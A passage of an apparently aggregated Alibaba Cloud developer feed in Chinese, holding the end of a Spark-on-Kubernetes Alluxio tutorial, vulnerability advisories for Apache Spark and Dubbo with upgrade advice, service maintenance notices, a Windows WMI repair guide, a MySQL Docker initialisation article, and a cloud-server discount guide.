      $ id=$(docker create alluxio/alluxio-enterprise:2.2.1-1.4)
      $ docker cp $id:/opt/alluxio/client/alluxio-enterprise-2.2.1-1.4-client.jar 
          $SPARK_HOME/jars/alluxio-enterprise-2.2.1-1.4-client.jar
      $ docker rm -v $id 1>/dev/null

      alluxio client jar包准备好以后,开始构建镜像:

      $ docker build -t spark-alluxio:2.4.6 -f kubernetes/dockerfiles/spark/Dockerfile $SPARK_HOME

      请记住镜像名称“spark-alluxio:2.4.6”,在向k8s提交spark job中会用到这个信息。

      镜像构建完成以后,对镜像的处理有两种方式:

      • 如果有私有镜像仓库,将该镜像推送到私有镜像仓库中,同时保证k8s集群节点能够pull该镜像
      • 如果没有私有镜像仓库,那么需要使用docker save命令将该镜像导出,然后scp到k8s集群的各个节点,在每个节点上使用docker load命令将镜像导入,这样就能保证每个节点上都存在该镜像。

      3.4 上传文件到alluxio

      文章开头提到过:本次实验是提交一个spark job到k8s中,该spark job的目标是对某一个文件统计每一个单词出现的次数。现在需要把这个文件传到alluxio存储上,这里为了方便,直接把alluxio master中/opt/alluxio-2.3.0-SNAPSHOT/LICENSE(文件路径可能因alluxio版本有点差异)这个文件传到alluxio上。

      使用"kubectl exec"进入alluxio master pod,并拷贝当前目录下的LICENSE文件到alluxio的根目录中:

      $ kubectl exec -ti alluxio-master-0  -n alluxio bash
      //下面步骤alluxio-master-0 pod中执行
      bash-4.4# alluxio fs copyFromLocal LICENSE /

      接着查看一下LICENSE这个文件分成的block被alluxio放到哪些worker上了。

      $ kubectl exec -ti alluxio-master-0 -n alluxio bash
      //下面步骤alluxio-master-0 pod中执行
      
      bash-4.4# alluxio fs stat /LICENSE
      /LICENSE is a file path.
      FileInfo{fileId=33554431, fileIdentifier=null, name=LICENSE, path=/LICENSE, ufsPath=/opt/alluxio-2.3.0-SNAPSHOT/underFSStorage/LICENSE, length=27040, blockSizeBytes=67108864, creationTimeMs=1592381889733, completed=true, folder=false, pinned=false, pinnedlocation=[], cacheable=true, persisted=false, blockIds=[16777216], inMemoryPercentage=100, lastModificationTimesMs=1592381890390, ttl=-1, lastAccessTimesMs=1592381890390, ttlAction=DELETE, owner=root, group=root, mode=420, persistenceState=TO_BE_PERSISTED, mountPoint=false, replicationMax=-1, replicationMin=0, fileBlockInfos=[FileBlockInfo{blockInfo=BlockInfo{id=16777216, length=27040, locations=[BlockLocation{workerId=8217561227881498090, address=WorkerNetAddress{host=192.168.8.17, containerHost=, rpcPort=29999, dataPort=29999, webPort=30000, domainSocketPath=, tieredIdentity=TieredIdentity(node=192.168.8.17, rack=null)}, tierAlias=MEM, mediumType=MEM}]}, offset=0, ufsLocations=[]}], mountId=1, inAlluxioPercentage=100, ufsFingerprint=, acl=user::rw-,group::r--,other::r--, defaultAcl=}
      Containing the following blocks:
      BlockInfo{id=16777216, length=27040, locations=[BlockLocation{workerId=8217561227881498090, address=WorkerNetAddress{host=192.168.8.17, containerHost=, rpcPort=29999, dataPort=29999, webPort=30000, domainSocketPath=, tieredIdentity=TieredIdentity(node=192.168.8.17, rack=null)}, tierAlias=MEM, mediumType=MEM}]}

      可以看到LICENSE这个文件只有一个block(id为16777216),被放在了ip为192.168.8.17的k8s节点上。我们使用kubectl查看该节点名称为cn-beijing.192.168.8.17

      $ kubectl get nodes -o wide
      NAME                      STATUS   ROLES    AGE   VERSION            INTERNAL-IP    EXTERNAL-IP   OS-IMAGE                               KERNEL-VERSION            CONTAINER-RUNTIME
      cn-beijing.192.168.8.12   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.12   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.13   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.13   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.14   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.14   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.15   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.15   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.16   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.16   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.17   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.17   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5

      3.5 提交spark job

      下面的步骤将提交一个spark job到k8s集群中,该job主要是计算alluxio中/LICENSE文件的每个单词出现的次数。

      在步骤3.4中我们获取到LICENSE这个文件所包含的block都在节点cn-beijing.192.168.8.17上,此次实验中,我们通过指定node selector让spark driver和spark executor都运行在节点cn-beijing.192.168.8.17,验证在关闭alluxio的short-circuit功能的情况下,spark executor和alluxio worker之间的通信是否通过网络栈完成。

      • 说明:如果在开启alluxio的short-circuit功能的情况下,并且spark executor与其所要访问的文件(本次实验为/LICENSE这个文件)的block在同一个k8s节点上,那么spark executor中的alluxio client与该k8s节点上的alluxio worker之间的通信通过domain socket方式完成。

      首先生成提交spark job的yaml文件:

      $ export SPARK_ALLUXIO_IMAGE=<步骤3.3中制作的image,即spark-alluxio:2.4.6>
      $ export ALLUXIO_MASTER="alluxio-master-0"
      $ export TARGET_NODE=<步骤3.4获取到的LICENSE文件的block存储的节点,即cn-beijing.192.168.8.17>
      $ cat > /tmp/spark-example.yaml <<- EOF
      apiVersion: "sparkoperator.k8s.io/v1beta2"
      kind: SparkApplication
      metadata:
        name: spark-count-words
        namespace: default
      spec:
        type: Scala
        mode: cluster
        image: "$SPARK_ALLUXIO_IMAGE"
        imagePullPolicy: Always
        mainClass: org.apache.spark.examples.JavaWordCount
        mainApplicationFile: "local:///opt/spark/examples/jars/spark-examples_2.11-2.4.6.jar"
        arguments:
          - alluxio://${ALLUXIO_MASTER}.alluxio:19998/LICENSE
        sparkVersion: "2.4.5"
        restartPolicy:
          type: Never
        volumes:
          - name: "test-volume"
            hostPath:
              path: "/tmp"
              type: Directory
        driver:
          cores: 1
          coreLimit: "1200m"
          memory: "512m"
          labels:
            version: 2.4.5
          serviceAccount: spark
          volumeMounts:
            - name: "test-volume"
              mountPath: "/tmp"
          nodeSelector:
            kubernetes.io/hostname: "$TARGET_NODE"
        executor:
          cores: 1
          instances: 1
          memory: "512m"
          labels:
            version: 2.4.5
          nodeSelector:
            kubernetes.io/hostname: "$TARGET_NODE"
          volumeMounts:
            - name: "test-volume"
              mountPath: "/tmp"
      EOF

      然后,使用sparkctl提交spark job:

      $ sparkctl create /tmp/spark-example.yaml

      4.实验结果

      当提交任务后,使用kubectl查看spark driver的日志:

      $ kubectl get po -l spark-role=driver
      NAME                                 READY   STATUS      RESTARTS   AGE
      spark-alluxio-1592296972094-driver   0/1     Completed   0          4h33m
      
      $ kubectl logs spark-alluxio-1592296972094-driver --tail 20
      
      USE,: 3
      Patents: 2
      d): 1
      comment: 1
      executed: 1
      replaced: 1
      mechanical: 1
      20/06/16 13:14:28 INFO SparkUI: Stopped Spark web UI at http://spark-alluxio-1592313250782-driver-svc.default.svc:4040
      20/06/16 13:14:28 INFO KubernetesClusterSchedulerBackend: Shutting down all executors
      20/06/16 13:14:28 INFO KubernetesClusterSchedulerBackend$KubernetesDriverEndpoint: Asking each executor to shut down
      20/06/16 13:14:28 WARN ExecutorPodsWatchSnapshotSource: Kubernetes client has been closed (this is expected if the application is shutting down.)
      20/06/16 13:14:28 INFO MapOutputTrackerMasterEndpoint: MapOutputTrackerMasterEndpoint stopped!
      20/06/16 13:14:28 INFO MemoryStore: MemoryStore cleared
      20/06/16 13:14:28 INFO BlockManager: BlockManager stopped
      20/06/16 13:14:28 INFO BlockManagerMaster: BlockManagerMaster stopped
      20/06/16 13:14:28 INFO OutputCommitCoordinator$OutputCommitCoordinatorEndpoint: OutputCommitCoordinator stopped!
      20/06/16 13:14:28 INFO SparkContext: Successfully stopped SparkContext
      20/06/16 13:14:28 INFO ShutdownHookManager: Shutdown hook called
      20/06/16 13:14:28 INFO ShutdownHookManager: Deleting directory /var/data/spark-2f619243-59b2-4258-ba5e-69b8491123a6/spark-3d70294a-291a-423a-b034-8fc779244f40
      20/06/16 13:14:28 INFO ShutdownHookManager: Deleting directory /tmp/spark-054883b4-15d3-43ee-94c3-5810a8a6cdc7

      最后我们登陆到alluxio master上,查看相关指标统计到的值:

      $ kubectl exec -ti alluxio-master-0 -n alluxio bash
      //下面步骤alluxio-master-0 pod中执行
      bash-4.4# alluxio fsadmin report metrics
      Cluster.BytesReadAlluxio  (Type: COUNTER, Value: 290.47KB)
      Cluster.BytesReadAlluxioThroughput  (Type: GAUGE, Value: 22.34KB/MIN)
      Cluster.BytesReadDomain  (Type: COUNTER, Value: 0B)
      Cluster.BytesReadDomainThroughput  (Type: GAUGE, Value: 0B/MIN)

      BytesReadAlluxio和BytesReadAlluxioThroughput代表数据从网络栈传输;BytesReadDomain和BytesReadDomainThroughput代表数据从domain socket传输。可以看到所有数据都是从网络栈传输的(即使spark executor和LICENSE文件的block在同一k8s节点上)。

      5.参考文档

      ]]>
      【漏洞预警】Apache Spark 远程代码执行漏洞(CVE-2020-9480) Fri, 02 May 2025 09:39:04 +0800

      2020年6月24日,阿里云应急响应中心监测到 CVE-2020-9480 Apache Spark 远程代码执行漏洞。


      漏洞描述

      Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。由于Apache Spark的认证机制存在缺陷,导致共享密钥认证失效。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的过程调用指令,启动Spark集群上的应用程序资源,获得目标服务器的权限,实现远程代码执行。阿里云应急响应中心提醒Apache Spark 用户尽快采取安全措施阻止漏洞攻击。


      影响版本

      Apache Spark< = 2.4.5


      安全版本

      Apache Spark 2.4.6 或 3.0以上版本


      安全建议

      建议将Apache Spark升级至安全版本。下载地址参考:https://spark.apache.org/downloads.html


      相关链接

      https://spark.apache.org/security.html#CVE-2020-9480



      我们会关注后续进展,请随时关注官方公告。

      如有任何问题,可随时通过工单或服务电话95187联系反馈。

      阿里云应急响应中心

      2020.06.24

      ]]>
      【漏洞预警】Apache Dubbo反序列化漏洞CVE-2020-1948补丁被绕过 Fri, 02 May 2025 09:39:04 +0800

      2020年6月29日,阿里云应急响应中心监测到Apache Dubbo GitHub官方发布Pull requests修复了CVE-2020-1948漏洞补丁被绕过现象,Dubbo <=2.7.7版本仍存在反序列化漏洞。目前官方还未发布新版本,漏洞属0day级,风险极大。


      时间线

      2020年6月23日,阿里云发布【漏洞预警】Apache Dubbo反序列化漏洞(CVE-2020-1948)

      2020年6月29日,阿里云监测到CVE-2020-1948漏洞补丁被绕过,风险依旧存在。


      漏洞描述

      Apache Dubbo是一款应用广泛的Java RPC分布式服务框架。Apache Dubbo于2020年6月23日披露在Dubbo Provider中存在一个反序列化远程代码执行漏洞(CVE-2020-1948),官方发布2.7.7版本修复漏洞,但近日该漏洞补丁被绕过,经阿里云工程师测试绕过有效,且目前官方还未发布新版本,漏洞属0day级,风险极大。阿里云应急响应中心提醒Apache Dubbo用户尽快采取安全措施阻止漏洞攻击。


      影响版本

      Apache Dubbo <=2.7.7


      安全版本

      暂无安全版本


      安全建议

      1. 禁止将Dubbo服务端端口开放给公网,或仅仅只对能够连接至Dubbo服务端的可信消费端IP开放。

      2. Dubbo协议默认采用Hessian作为序列化反序列化方式,该反序列化方式存在反序列化漏洞。在不影响业务的情况下,建议更换协议以及反序列化方式。具体更换方法可参考:http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html


      相关链接

      https://github.com/apache/dubbo/pull/6374


      阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测


      我们会关注后续进展,请随时关注官方公告。

      如有任何问题,可随时通过工单或服务电话95187联系反馈。


      阿里云应急响应中心

      2020.06.29

      ]]>
      【其他】关于CDN产品新增突发带宽保障服务的通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【CDN突发峰值保障服务】【发布通知】

      • 为了给您提供更稳定、可靠的CDN服务,阿里云推出“突发峰值保障服务”,并更新【CDN产品服务协议】,具体如下:

      • 如果您对CDN服务有突发性的带宽使用需求(通常指带宽计费客户的全国使用增量超过500Gbps或流量计费客户的总量超过10Gbps,或者以上客户的突发增长的部分是平时平均使用量的30%),您需提前至少3个工作日(重大节日的突发,包括但不限于春晚,双十一等,需要提前至少1个月)联系阿里云申请突发增长的带宽用量,并确认能否/是否购买“突发峰值保障服务”,若购买成功的,可确保您的服务不受影响;若未购买“突发峰值保障服务”的,总量超过200Gbps(带宽计费)或10Gbps(流量计费)的,阿里云有权采取限流等措施来保障全网用户的稳定性(以上数值另有约定的,从其约定)。

      • 具体影响:

      1. 流量客户(峰值>10Gbps,或>合同约定值)

      2. 带宽客户(峰值>200Gbps,或>合同约定值)

      • 在触发带宽上限后会产生告警,阿里云可能会采取限流保护措施。

      • 温馨提示:

      1. 针对流量计费的客户,若有更大带宽的需求,可以转为带宽计费,或通过工单申请合理的带宽上限,由阿里云评估通过后给予上限调整;

      2. 所有客户可以通过申请“突发峰值保障服务”来确保突发带宽的服务质量


      • 阿里云计算有限公司

      ]]>
      【升级】6月22日阿里云商标服务升级维护通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【阿里云商标服务】【升级维护通知】

      升级窗口:北京时间2020年6月22日 00:00 - 08:00

      升级内容:因业务系统升级,阿里云商标服务将于上述时间停服维护

      升级影响:升级期间,登录及查看阿里云商标控制台、购买阿里云阿里云商标服务(含商标注册申请、驳回复审申请、续展申请及商标优选业务)、支付费用及补齐申请材料将停止服务,请您在维护结束后再进行操作。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】6月22日阿里云公司注册升级维护通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【公司注册】【升级维护通知】

      升级窗口:北京时间2020年6月22日 00:00 - 08:00

      升级内容:阿里云云上公司注册和公司注册服务将于上述时间进行系统升级维护。

      升级影响:升级期间,gs.aliyun.com的云上公司注册和公司注册服务将无法下单, 工商注册的控制台也将无法使用。如果您需要购买或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】6月22日阿里云图片与设计服务升级维护通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【图片与设计服务】【升级维护通知】

      升级窗口:北京时间2020年6月22日 00:00 - 08:00

      升级内容:因业务系统升级,阿里云图片与设计服务将于上述时间停服维护。

      升级影响:升级期间,登录及查看阿里云的图片与设计控制台,购买阿里云图片与设计服务(含图片单张、图片VIP、Logo设计)、支付费用将暂停服务,请您在维护结束后再进行操作。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】6月22日阿里云资质管家/ICP/EDI咨询代理服务升级维护通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【资质管家/ICP/EDI咨询代理服务】【升级维护通知】

      升级窗口:北京时间2020年6月22日 00:00 - 08:00

      升级内容:因业务系统升级,阿里云资质管家 / 阿里云ICP证 / 阿里云EDI证咨询代理服务将于上述时间停服维护。

      升级影响:系统升级维护期间,登陆查询阿里云资质管家/工商财税控制台,提交购买阿里云资质相关服务,提交咨询单、需求单,补齐材料等操作将停止服务,请您在维护结束后再进行相关操作。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】6月22日阿里云云市场代理记账服务应用系统升级维护通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【云市场代理记账服务】【升级维护通知】

      升级窗口:北京时间2020年6月22日 00:00 - 08:00

      升级内容:因业务系统升级,云市场代理记账服务的应用系统将于上述时间停服维护。

      升级影响:升级期间,云市场代理记账服务的应用系统,包括登录及查看、补充代账企业信息、服务进度及报表查询将停止服务。请您在维护结束后再进行操作。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】6月29日Datahub升级通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【Datahub】【升级通知】

      升级窗口:北京时间2020年6月29日 10:00 - 19:00

      升级区域:华北,华南,华东,新加坡,吉隆坡,孟买,法国

      升级内容:

      1、支持MaxComputer2.0数据类型同步

      2、支持订阅延迟云监控

      升级影响:升级期间,会出现短暂的请求失败重试,属于正常现象,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【漏洞预警】Apache Dubbo反序列化漏洞(CVE-2020-1948) Fri, 02 May 2025 09:39:04 +0800

      2020年6月23日,阿里云应急响应中心监测到 CVE-2020-1948 Apache Dubbo反序列化漏洞。


      漏洞描述

      Apache Dubbo是一款应用广泛的Java RPC分布式服务框架。Apache Dubbo于2020年6月23日披露在Dubbo Provider中存在一个反序列化远程代码执行漏洞(CVE-2020-1948),攻击者可以构造并发送带有恶意参数负载的RPC请求,当恶意参数被反序列化时将导致远程代码执行。阿里云应急响应中心提醒Apache Dubbo用户尽快采取安全措施阻止漏洞攻击。


      影响版本

      Apache Dubbo 2.7.0 ~ 2.7.6

      Apache Dubbo 2.6.0 ~ 2.6.7

      Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。


      安全版本

      Apache Dubbo >= 2.7.7


      安全建议

      升级至安全版本或禁止Dubbo Provider对外开放


      相关链接

      https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html

      https://github.com/apache/dubbo/releases/tag/dubbo-2.7.7


      阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测


      我们会关注后续进展,请随时关注官方公告。

      如有任何问题,可随时通过工单或服务电话95187联系反馈。


      阿里云应急响应中心

      2020.06.23

      ]]>
      windows激活报错0x80070020或0x80041010-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      作者:棋玉

      问题现象

      激活报错,slmgr /ato后报错代码类似如下:
      image.png

      排查步骤

      1.运行命令行 slmgr /dlv 同样报错,说明是slmgr 本身命令有问题,不像是网络层面的问题

      2.查看msinfo32, 发现报错,提示 winmgmt 服务有问题
      image.png

      3.重启winmgmt 服务,可以正常重启,说明winmgmt 服务本身正常,需要rebuild wmi 数据库。
      image.png

      4.按照以下步骤rebuild wmi 数据库(注:此操作可能会对环境产生影响,建议先进行快照)
      windows Server 2008R2
      右击cmd,选择以管理员身份运行,运行以下命令行:

      sc config winmgmt start= disabled
      net stop winmgmt /y
      cd %windir%system32wbem
      rename repository repository.old
      for /f %s in ('dir /b *.dll') do regsvr32 /s %s
      wmiprvse /regserver 
      sc config winmgmt start= auto
      net start winmgmt
      for /f %s in ('dir /b *.mof *.mfl') do mofcomp %s

      Windows Server 2012及以后版本
      右击cmd,选择以管理员身份运行,运行以下命令行:

      sc config winmgmt start= disabled
      net stop winmgmt /y
      %systemdrive%
      cd %windir%system32wbem
      ren repository repository-backup
      for /f %s in ('dir /b *.dll') do regsvr32 /s %s
      sc config winmgmt start= Auto
      net start winmgmt
      dir /b *.mof *.mfl | findstr /v /i uninstall > moflist.txt & for /F %s in (moflist.txt) do mofcomp %s

      5.之后成功激活。

      ]]>
      Docker容器启动时初始化Mysql数据库-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 77.jpg
      镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

      1. 前言
      Docker在开发中使用的越来越多了,最近搞了一个Spring Boot应用,为了方便部署将Mysql也放在Docker中运行。那么怎么初始化 SQL脚本以及数据呢?
      我这里有两个传统方案。 第一种方案是在容器启动后手动导入,太low了不行。第二种在Spring Boot客户端连接Mysql容器时初始化数据库,你可以参考使用flyway进行数据库版本控制一文,但是这依赖客户端的能力。能不能做到Mysql容器启动时就自己初始化数据库呢?当然可以!今天就来演示一下。全部代码见文末。
      2.原理
      当Mysql容器首次启动时,会在 /docker-entrypoint-initdb.d目录下扫描 .sh,.sql,.sql.gz类型的文件。如果这些类型的文件存在,将执行它们来初始化一个数据库。这些文件会按照字母的顺序执行。默认情况下它们会初始化在启动容器时声明的 MYSQL_DATABASE变量定义的数据库中,例如下面的命令会初始化一个REGION_DB 数据库:
      image.png
      如果你的启动命令没有指定数据库那么就必须在数据库DDL脚本中声明并指定使用该数据库。否则就会实现下面的异常:
      image.png
      那么接下来我们将利用这一机制来实现Docker容器启动时初始化数据库。
      3.自定义Dockerfile
      我们编写自己的Dockerfile来实现我们的需求,这里以 Mysql:5.7 为例。不同的版本可能有一定的出入,需要详细去阅读官方文档。脚本如下:
      image.png

      • 第一步,引入官方 Mysql:5.7 Docker镜像。
      • 第二步,无实际意义,主要是作者、组织信息。
      • 第三步,很重要!本来我没有配置第三行,结果运行容器后发现初始化数据的中文全部乱码了。所以需要在初始化数据库前修改Mysql的编码等配置,这里我顺便把时区也改为了+8:00。
      • 第四步,复制包含数据库脚本的 ./sql文件夹到镜像的/tmp/sql下。
      • 第五步,使用 mv 命令把第四步拷贝的文件夹下的所有.sql文件复制到 /docker-entrypoint-initdb.d下,这样才能利用2.章节的机制进行初始化数据库。
      • 第六步,删除使用过的临时目录。

      然后你可以通过构建镜像命令构建自定义的Mysql镜像:
      image.png
      通过mysql:5.7c镜像启动一个名称为mysql-service的容器,root密码为123456,并持久化数据到宿主机 D:/mysql/data下:

      docker run --name mysql-service -v d:/mysql/data:/var/lib/mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.7c

      小贴士:你可以通过 SHOW VARIABLES LIKE 'character%' 查看字符集是否更改为utf8mb4,也可以通过SHOW VARIABLES LIKE '%time_zone%' 查看时区是否是东八区。
      4. 总结
      今天我们自定义一个可以执行初始化数据库的Mysql镜像,方便我们进行部署。你也可以参考这个思路来定制其它一些自己需要的Docker镜像。

      本文作者 | 码农小胖哥
      本文来自 | 掘金

      阿里巴巴开源镜像站 提供全面,高效和稳定的镜像下载服务。钉钉搜索 ' 21746399 ‘ 加入镜像站官方用户交流群。”

      ]]>
      2020年便宜购买阿里云服务器攻略(阿里云小站篇)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文主要讲通过阿里云小站便宜购买阿里云服务器的攻略,力争将可获取的优惠完整清晰的列出来,以供阿里云新老用户参考。云小站所提供的优惠包括代金券优惠、今日限时秒杀、新用户专享1折起、企业新用户特惠、心选建站以及其他热门活动推荐。

      地址:阿里云小站

      一:代金券优惠
      首先,有一张金额为20元的云服务器ECS代金券,虽然金额比较小,但是如果你是购买1核1G 1核2G这种配置比较低的阿里云服务器还是很有用的,这张20元的代金券是只要订单金额满100元即可使用,云小站上有一款1核2G5M带宽的云服务器,优惠价格是197.47元,使用这张代金券就可以抵扣20元,实际购买只要177.47元。
      要注意的是:20元的代金券只能是新用户才能领取,而且有效期是7天,因此,领取了之后请尽快使用哦。

      如果你需要购买的阿里云服务器配置比较高,那么这张20元的代金券作用就不是很大了,订单金额比较高的,就需要用到其他几张代金券了,另外几张可用于购买阿里云服务器使用的代金券金额分别是:100元云服务器专用代金券、300元云产品通用代金券、800元云产品通用代金券,小编已经领取过了,根据小编了解的政策,这几张代金券的使用订单限制是:100元的订单满1000元可使用,300元的订单满3000元可使用,800元的订单满8000元可使用。
      需要注意的是:这几张代金券的有效期是30天,我们可以领取了以后使用,但是这几张代金券仅限产品新购才能用,如果我们是老用户,想用这个代金券去续费阿里云服务器使用,是用不了的。
      代金券.png

      二、今日限时秒杀
      限时秒杀所推出的这几款阿里云服务器,小编觉得是最经济实惠的,具体配置和秒杀价额如下下图所示:
      限时秒杀.png
      如果你是个人用户,放的网站流量不是很高,也没有在线视频这些吃带宽比较高的内容,推荐购买秒杀价格只要320.20元的这款共享型s6实例2核4G1M带宽的秒杀云服务器。如果您是企业用户,对云服务器性能要求高一点,推荐购买秒杀价格为636.72元一年的这款配置为共享型s6实例4核8G5M带宽的云服务器,这个配置可以满足绝大部分企业用户的上云需求了。

      三、新用户专享1折起
      新用户1折起专区所展示的优惠云产品,主要汇集了当下阿里云其他优惠活动中所推出的一些爆款云产品及配置,也就是用户购买最多的一些阿里云服务器配置和其他云产品,目前已经上架了27款云产品,除了阿里云服务器之外,还有云数据库MySQL高可用版、国内通用短信套餐包、云数据库SQL Server、SSL证书等云产品。

      小编比较推荐的是活动价格为1166.40元起,实例规格为计算型c5的这款2核4G1M带宽的阿里云服务器,放一些主流的网站是没问题的,比如企业官网之类的。
      具体云服务器产品及价格如下表:

      实例规格 配置 带宽 云小站报价
      共享型 s6 2核8G 2M 460.80元/1年 1209.60元/3年
      共享型 s6 4核8G 5M 1910.16元/3年
      通用型 g5 2核8G 1-5M可选 1576.80元/1年起
      通用型 g6 2核8G 1-5M可选 1495.80元/1年起
      通用型 g6 4核16G 1-5M可选 2791.80元/1年起
      计算型 c6 2核4G 1-5M可选 1209.60元/1年起
      计算型 c6 4核8G 1-5M可选 2219.40元/1年起
      计算型 c5 2核4G 1M 1166.40元/1年
      计算型 c5 4核8G 5M 2954.88元/1年

      四、企业新用户特惠
      企业新用户特惠是阿里云最近才在云小站上推出的全新板块,折扣低至2.6折,只要是企业认证且初次购买ECS的新用户均可以购买此版块的云服务器。这个专区所推出的云服务器主要以计算型c5 计算型c6和通用型g5 通用型g6为主,配置包含了2核4G、4核8G、2核8G、4核16G等,这些配置都是企业用户最常购买的一些配置。
      另外,企业新用户特惠专区所推出的云服务器带宽均为1-10M带宽可选,这就给了企业用户在选择带宽上很大的灵活空间,因为企业用户的网站一般来说流量都比较高,最高10M足可以应付网站的流量高峰了。
      具体云服务器产品及价格如下表:

      实例规格 配置 带宽 云小站报价
      共享型 s6 2核4G 1-10M可选 301.44元/1年起
      共享型 s6 2核8G 1-10M可选 572.88元/1年起
      共享型 s6 4核8G 1-10M可选 731.28元/1年起
      计算型 c5 2核4G 1-10M可选 699.84元/1年起 2021.76元/3年起
      计算型 c5 4核8G 1-10M可选 1279.80元/1年起 3697.20元/3年起
      共享型 s6 2核4G 1-10M可选 904.32元/3年起
      共享型 s6 2核8G 1-10M可选 1484.28元/3年起
      共享型 s6 4核8G 1-10M可选 2094.12元/3年起
      通用型 g5 2核8G 1M 946.08元/1年
      计算型 c5 2核4G 1-10M可选 1166.40元/1年起 2954.88元/3年起
      计算型 c5 4核8G 1-10M可选 2133.00元/1年起 5403.60元/3年起
      计算型 c5 8核16G 1-10M可选 4066.20元/1年起
      计算型 c6 2核4G 1-10M可选 1209.60元/1年起
      计算型 c6 4核8G 1-10M可选 2219.40元/1年起
      计算型 c6 8核16G 1-10M可选 4239.00元/1年起
      通用型 g6 2核8G 1-10M可选 1495.80元/1年起 3789.36元/3年起
      通用型 g6 4核16G 1-10M可选 2791.80元/1年起
      通用型 g6 8核32G 1-10M可选 5383.80元/1年起
      通用型 g5 2核8G 1-10M可选 1576.80元/1年起
      通用型 g5 4核16G 1-10M可选 2953.80元/1年起
      通用型 g5 8核32G 1-10M可选 5707.80元/1年起

      五、爆款云产品5折起
      这个专区是阿里云专为老用户开设的优惠购买通道,虽然总体价格还是没有新用户那么便宜,但是提供优惠的产品还是比较丰富的,包括云服务器ECS、云数据库Mysql、CDN流量包、Web应用防火墙、短信套餐包,这些应该都是老用户经常用到的产品,另外还提供了商标注册、企业工商注册等服务。
      具体云服务器产品及价格如下表:

      实例规格 配置 带宽 云小站报价
      计算网络增强型sn1ne 2核4G 1M 2386.80元/1年
      计算网络增强型sn1ne 4核8G 1M 4396.20元/1年
      计算网络增强型sn1ne 8核16G 1M 8415.00元/1年
      内存网络增强型se1ne 2核16G 1M 3671.40元/1年
      内存网络增强型se1ne 4核32G 1M 6965.40元/1年
      内存网络增强型se1ne 8核64G 1M 13553.40元/1年
      通用网络增强型sn2ne 2核8G 1M 2951.40元/1年
      通用网络增强型sn2ne 4核16G 1M 5525.40元/1年
      通用网络增强型sn2ne 8核32G 1M 10673.40元/1年

      六、心选建站
      心选建站是阿里云最近上架的建站产品专区,产品包括模板站基础版、模板站标准版、模板站企业版、定制站标准版、定制站高级版、定制站尊贵版。目前主要的优惠为云·企业官网类建站产品可以享受买一年送半年,下单抽iphone11奖品的优惠。

      七、热门活动推荐
      这里汇总了阿里云全站所有热门的优惠活动,如果云小站上所展示的云产品或者配置不是自己想要的,你可以通过该板块了解阿里云当下正在进行哪些热门活动,通过其他热门活动去选购自己想要的阿里云服务器或者其他云产品。

      ]]>
      内存占用高-AWE-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      作者:棋玉

      问题现象:

      内存占用高,任务管理器看不到问题,使用RAMMAP, 看到AWE 占用了大部分内存
      https://docs.microsoft.com/en-us/sysinternals/downloads/rammap
      image.png

      解决方案:

      AWE 占用内存高的问题一般发生在SQL 服务器上,一般建议客户调整“ maximum server memory”
      https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/server-memory-server-configuration-options?view=sql-server-ver15

      如果服务器上只安装了SQL 应用,建议给系统留2-4G 内存,其他内存留给SQL。
      image.png

      可以参考如下指标:
      image.png

      ]]>
      二叉树前序、中序、后序遍历的非递归写法-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 前序和中序遍历的非递归写法都比较好实现,后序遍历稍微复杂一些.

      数据结构定义:

      struct Node{

      char c;
      pNode lchild, rchild;
      Node(char c, pNode lchild = nullptr, pNode rchild = nullptr) :

      c(c), lchild(lchild), rchild(rchild) {}

      };

      申请阿里云服务时,可以使用2000元阿里云代金券,阿里云官网领取网址:https://dashi.aliyun.com/site/yun/youhui

      二叉树形态:
